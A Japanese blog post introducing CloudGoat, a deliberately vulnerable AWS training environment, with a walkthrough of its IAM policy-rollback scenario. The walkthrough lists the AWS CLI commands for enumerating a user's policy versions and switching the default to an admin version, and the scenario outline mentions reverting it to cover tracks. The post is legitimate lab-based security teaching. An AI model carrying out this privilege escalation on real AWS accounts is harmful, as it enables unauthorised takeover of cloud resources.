ゆるふわIAM userのadmin権限を奪ってみた(AWSセキュリティ学習環境構築ツールCloudGoatのご紹介)

Rhino Security Labs社が開発したセキュリティ学習用のAWS環境構築ツール CloudGoat を試してみました。
2020.01.09

この記事は公開されてから1年以上経過しています。情報が古い可能性がありますので、ご注意ください。

AWSを愛する皆さま、こんにちは。
羊肉串に用いられる孜然(クミン)が大好きなコンサルティング部の西野(@xiye_gen)です。

セキュリティに漠然とした興味があるものの何から手を付けて良いのかわからなかった私にとって渡りに船なツールがございましたので、本日はその紹介をいたします。

CloudGoatとは

概要

https://github.com/RhinoSecurityLabs/cloudgoat

CloudGoatはRhino Security Labs社が開発したセキュリティ学習用のAWS環境構築ツールです。
本ツールで構築される環境とあらかじめ用意されたCTF(Capture The Flag)形式のシナリオによりAWSセキュリティに関するスキルを身につけることができます。

各シナリオにおいて本ツールの利用者は「攻撃者」の立場となり、対象のAWSアカウントやシステムを調査・攻撃(admin権限の奪取など)をしていきます。

シナリオ紹介

2020/1/9時点で6つのシナリオが存在します。
シナリオはRhino Security Labs社とCloudGoatのコミュニティにより作成・メンテナンスされているようです。

シナリオ名 規模 難易度 概要
ポリシーバージョンのリストアによるAdmin権限の奪取 Small Easy 対象のIAMユーザーはほぼ権限を持たないように見えるが、過去のIAMポリシーを閲覧することができた。攻撃者はAdmin権限を持つ過去バージョンのポリシーを発見し、特権昇格を行う。
インスタンスプロファイルの取得とS3バケットへのアクセス Small Moderate 誤った設定がなされたリバースプロキシからEC2メタデータにクエリをかけインスタンスプロファイルを取得する。このインスタンスプロファイルを用いてS3バケット内の機密データにアクセスする。
インスタンスプロファイルによる特権昇格 Medium Moderate 限定された権限を持つインスタンスプロファイルを利用し、Admin権限を持つEC2インスタンスを作成する。
SSRF脆弱性を利用したS3バケットへのアクセス Medium Moderate ReadOnly権限を利用しLambda関数にハードコーディングされたシークレットを発見する。このシークレットはSSRFへの脆弱性をもつアプリケーションのものであった。攻撃者はこの脆弱性を利用し、EC2メタデータを読み取り、S3バケットにアクセスする。
RCE脆弱性をもつWebアプリケーション Medium Hard ロードバランサーとS3バケットを調査し、RCE脆弱性を持つWebアプリケーションを見つけ出す。その後、セキュリティ対策が施されたRDSインスタンスにアクセスする。
CodeBuildによるアクセスキーの取得 Large Hard CodeBuildのプロジェクトからアクセスキーを取得する。その後、RDSのスナップショットを利用しsecret stringsを取得する。

各シナリオの詳細についてはScenarios AvailableのVisit Scenario Pageから確認できます。

※注意

CloudGoatはセキュリティ上問題のあるリソースを実行対象のAWSアカウントに作成します。 したがって、重要なAWSアカウント上では決して実行しないでください。 また、一部のシナリオではFree-Tierをこえるリソースが作成されます。利用後は必ず不要なリソースを削除するようにしてください。(手順は後述)

前提条件

CloudGoatを使用するためには下記の環境が必要です。
公式サイト等を参照しインストールしてください。

  • Linux or MacOS. Windows is not officially supported.
    • Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
  • Python3.6+ is required.
  • Terraform 0.12 installed and in your $PATH.
  • The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.

初期設定

Quick Startを参照しつつ初期設定を実施していきます。

IAM user作成

CloudGoatからAWSリソースを作成するためのIAM userを作成します。

今回はcloudgoatという名称のIAM userを作成し、AdministratorAccess(AWS管理ポリシー)権限を付与します。

名前付きプロファイルの作成

CloudGoat用にAWS CLIの名前付きプロファイルを設定します。

$ aws configure --profile cloudgoat
AWS Access Key ID [None]: <Your Access Key ID>
AWS Secret Access Key [None]: <Your Secret Access Key ID>
Default region name [None]:
Default output format [None]:


CloudGoatインストール

GitHubからCloudGoatのレポジトリをcloneします。
※git cloneに失敗した場合は後述の「git clone時にエラーが生じた場合」をご参照ください。

$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
remote: Enumerating objects: 1971, done.
remote: Total 1971 (delta 0), reused 0 (delta 0), pack-reused 1971
Receiving objects: 100% (1971/1971), 8.25 MiB | 1.62 MiB/s, done.
Resolving deltas: 100% (627/627), done.


Pythonの必要パッケージをpip3でインストールします。

$ pip3 install -r ./core/python/requirements.txt
Collecting argcomplete==1.10.0 (from -r ./core/python/requirements.txt (line 5))
  Downloading https://files.pythonhosted.org/packages/4d/82/f44c9661e479207348a979b1f6f063625d11dc4ca6256af053719bbb0124/argcomplete-1.10.0-py2.py3-none-any.whl
Collecting PyYAML==5.1.1 (from -r ./core/python/requirements.txt (line 6))
  Downloading https://files.pythonhosted.org/packages/a3/65/837fefac7475963d1eccf4aa684c23b95aa6c1d033a2c5965ccb11e22623/PyYAML-5.1.1.tar.gz (274kB)
    100% |████████████████████████████████| 276kB 9.1MB/s
Installing collected packages: argcomplete, PyYAML
  Found existing installation: PyYAML 5.1.2
    Uninstalling PyYAML-5.1.2:
      Successfully uninstalled PyYAML-5.1.2
  Running setup.py install for PyYAML ... done
Successfully installed PyYAML-5.1.1 argcomplete-1.10.0


cloudgoat.pyに実行権限を付与します。

$ chmod u+x cloudgoat.py


cloudgoat.pyを実行し、profileを設定します。

$ ./cloudgoat.py config profile
No configuration file was found at /Users/nishino.wataru/CloudGoat/config.yml
Would you like to create this file with a default profile name now? [y/n]: y ★yと入力
Enter the name of your default AWS profile: cloudgoat ★先に設定したAWS CLIのプロファイルと同じものを入力
A default profile name of "cloudgoat" has been saved.


cloudgoat.pyを実行し、IPアドレスのホワイトリストを設定します。

$ ./cloudgoat.py config whitelist --auto
No whitelist.txt file was found at /Users/nishino.wataru/CloudGoat/whitelist.txt
CloudGoat can automatically make a network request, using curl, to ifconfig.co to find your IP address, and then create the whitelist file with the result.
Would you like to continue? [y/n]: y ★yと入力

whitelist.txt created with IP address XXX.XXX.XXX.XXX/32

これでCloudGoatの初期設定が完了しました。

git clone時にエラーが生じた場合

git clone時に下記のエラーが生じる場合があります。

$ git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat
Cloning into './CloudGoat'...
The authenticity of host 'github.com (13.114.40.48)' can't be established.
RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'github.com,13.114.40.48' (RSA) to the list of known hosts.
git@github.com: Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

GitHub側にSSHキーが登録されていないことが原因です。
下記の手順を参考にSSHキーの登録を済ませた後、再度git cloneを実行してください。

GitHub アカウントへの新しい SSH キーの追加

シナリオ iam_privesc_by_rollbackをやってみた

シナリオの中からひとつを試してみました。

シナリオのREADME.mdを読みシナリオの概要をつかむ

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/iam_privesc_by_rollback/README.md

READMD.mdにはシナリオの概要(開始時点で作成されるリソースやゴールなど)が記されています。

本シナリオはおおまかに下記の流れで進みます。

  1. IAM user Raynorには最小限の権限が設定されており、一見無害なように見える。
  2. 攻撃者はRaynorの権限を分析し、SetDefaultPolicyVersion権限(ポリシーのデフォルトバージョンを変更できる)を持っていることに気づく。
  3. 攻撃者が古いバージョンのポリシーを全て調べたところ、その内ひとつのポリシーにadmin権限が与えられていることに気づく。
  4. 攻撃者は当該ポリシーをデフォルトポリシーとして設定しadmin権限を手にする。
  5. 攻撃内容を隠ぺいするため、攻撃者はデフォルトポリシーの設定を元に戻す。

さっそく進めていきましょう。

シナリオ環境の作成

下記のコマンドを実行し環境を作成します。
TerraformがAWSアカウント内にシナリオ用のリソースを作成してくれます。

$ ./cloudgoat.py create iam_privesc_by_rollback


環境の作成が終わると下記のstart.txtが作成されます。

[cloudgoat] Output file written to:

    /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt


中を見てみましょう。

$ cat /Users/nishino.wataru/CloudGoat/iam_privesc_by_rollback_cgidekx54arcv2/start.txt
cloudgoat_output_aws_account_id = XXXXXXXXXXXX
cloudgoat_output_raynor_access_key_id = AKIXXXXXXXXXXXXXXXX
cloudgoat_output_raynor_secret_key = 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


RaynorというIAM userが作成され、アクセスキーが用意されます。AWS CLIの名前付きprofileに設定しておきます。

$ aws configure --profile raynor
AWS Access Key ID [None]: AKIXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: 22LPtXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Default region name [None]:
Default output format [None]:

これで準備は整いました。

ここからはAWS CLI Command Referenceを参照しつつつIAM user Raynorについて調査していきます。

以下にはシナリオのネタバレを含みます。ご自身で試してみたい方はこの先を読まないようご注意ください。

Raynorにアタッチされているポリシーを確認してみる

コマンドは$ aws iam list-attached-user-policiesです。

$ aws iam list-attached-user-policies --user-name raynor --profile raynor
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-raynor-policy",
            "PolicyArn": "arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy"
        }
    ]
}

Raynorにはcg-raynor-policyというポリシーがアタッチされているようです。

cg-raynor-policyのバージョン情報を確認してみる

当該ポリシーのバージョン情報を確認してみます。
コマンドは$ aws iam list-policy-versionsです。

$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": true,
            "CreateDate": "2020-01-07T01:34:01Z"
        }
    ]
}

計5つのバージョン(v1-v5)が存在し、そのうちv1がデフォルトバージョンとして設定されていることがわかります。

ポリシーの中身を見てみる

それぞれのバージョンについてポリシーの中身を見ていきましょう。
コマンドは$ aws iam get-policy-versionです。

cg-raynor-policy v1

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v1 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "IAMPrivilegeEscalationByRollback",
                    "Action": [
                        "iam:Get*",
                        "iam:List*",
                        "iam:SetDefaultPolicyVersion"
                    ],
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2020-01-07T01:34:01Z"
    }
}

こちらが現在のバージョンです。

cg-raynor-policy v2

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v2 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": "iam:Get*",
                "Resource": "*",
                "Condition": {
                    "DateGreaterThan": {
                        "aws:CurrentTime": "2017-07-01T00:00:00Z"
                    },
                    "DateLessThan": {
                        "aws:CurrentTime": "2017-12-31T23:59:59Z"
                    }
                }
            }
        },
        "VersionId": "v2",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v3

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v3 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Deny",
                "Action": "*",
                "Resource": "*",
                "Condition": {
                    "NotIpAddress": {
                        "aws:SourceIp": [
                            "192.0.2.0/24",
                            "203.0.113.0/24"
                        ]
                    }
                }
            }
        },
        "VersionId": "v3",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v4

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": "*",
                    "Effect": "Allow",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

cg-raynor-policy v5

$ aws iam get-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v5 --profile raynor
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": {
                "Effect": "Allow",
                "Action": [
                    "s3:ListBucket",
                    "s3:GetObject",
                    "s3:ListAllMyBuckets"
                ],
                "Resource": "*"
            }
        },
        "VersionId": "v5",
        "IsDefaultVersion": false,
        "CreateDate": "2020-01-07T01:34:04Z"
    }
}

以上の結果から、admin権限を有するv4を使用すれば良いことがわかります。

ポリシーのデフォルトバージョンを変更する

コマンドは$ aws iam set-default-policy-versionです。

$ aws iam set-default-policy-version --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --version-id v4 --profile raynor

設定後の内容を$ aws iam list-policy-versionsで確認してみます。

$ aws iam list-policy-versions --policy-arn arn:aws:iam::XXXXXXXXXXXX:policy/cg-raynor-policy --profile raynor
{
    "Versions": [
        {
            "VersionId": "v5",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v4",
            "IsDefaultVersion": true,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v3",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v2",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:04Z"
        },
        {
            "VersionId": "v1",
            "IsDefaultVersion": false,
            "CreateDate": "2020-01-07T01:34:01Z"
        }
    ]
}

これでadmin権限を奪取することができました。

環境の削除

下記のコマンドによりシナリオによって作成されたリソースを全て削除できます。

./cloudgoat.py destroy iam_privesc_by_rollback

終わりに

いままではセキュリティに関する一般原則を聞いてもいまいちピンと来なかったのですが、CloudGoatによる攻撃者のロールプレイによってその重要性を実感できました。
私と同じような感覚を持っている方がいらっしゃいましたら、いずれかひとつのシナリオだけでもやってみることをおすすめいたします。

このブログがほんの少しでも世界を良くできれば嬉しいです。
コンサルティング部の西野(@xiye_gen)がお送りしました。